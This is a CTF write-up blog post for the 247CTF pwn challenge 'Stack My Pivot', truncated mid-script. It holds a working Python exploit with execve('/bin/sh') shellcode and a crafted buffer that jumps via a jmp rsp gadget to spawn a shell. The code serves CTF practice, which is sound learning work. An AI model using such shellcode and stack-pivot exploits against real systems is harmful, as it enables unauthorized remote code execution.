Stack My Pivot (pwn)

Intro My solution of a Pwn challenge Stack My Pivot on the CTF site 247CTF.com. Instructions To protect against overflow attacks, we are limiting the number of bytes our applications will read. Is there still enough space to do something useful? Exploit #!/usr/bin/env python3 # No dependencies. Usage: python3 solve.py <host> <port> import socket, sys, select host, port = sys.argv[1], int(sys.argv[2]) # buffer1: execve("/bin/sh") shellcode, padded to 50 bytes b1 = bytes.fromhex("4881ec0002000031f65648bf2f62696e2f2f736857545f31d26a3b580f05" + "90"*20) # buffer2: [junk][jmp rsp 0x400738][EB AE -> shellcode][junk][partial ret 0x400732] b2 = bytes.fromhex("42424242424242423807400000000000ebae43434343434332074000") s = socket.create_connection((host, port)) s.recv(4096) # "first name?" prompt s.send(b1) s.recv(4096) # "surname?" prompt s.send(b2) # interactive: relay stdin <-> socket print("[*] shell should be live — type: id / ls / cat flag*", file=sys.stderr) while True: r, _, _ =…

Commenting on Bubbles has been removed. Why? If you want to talk about this post, write to the author, use the comments on their blog if it has them, or reply with a "RE:" post on your own blog. Suggestions? feedback@bubbles.town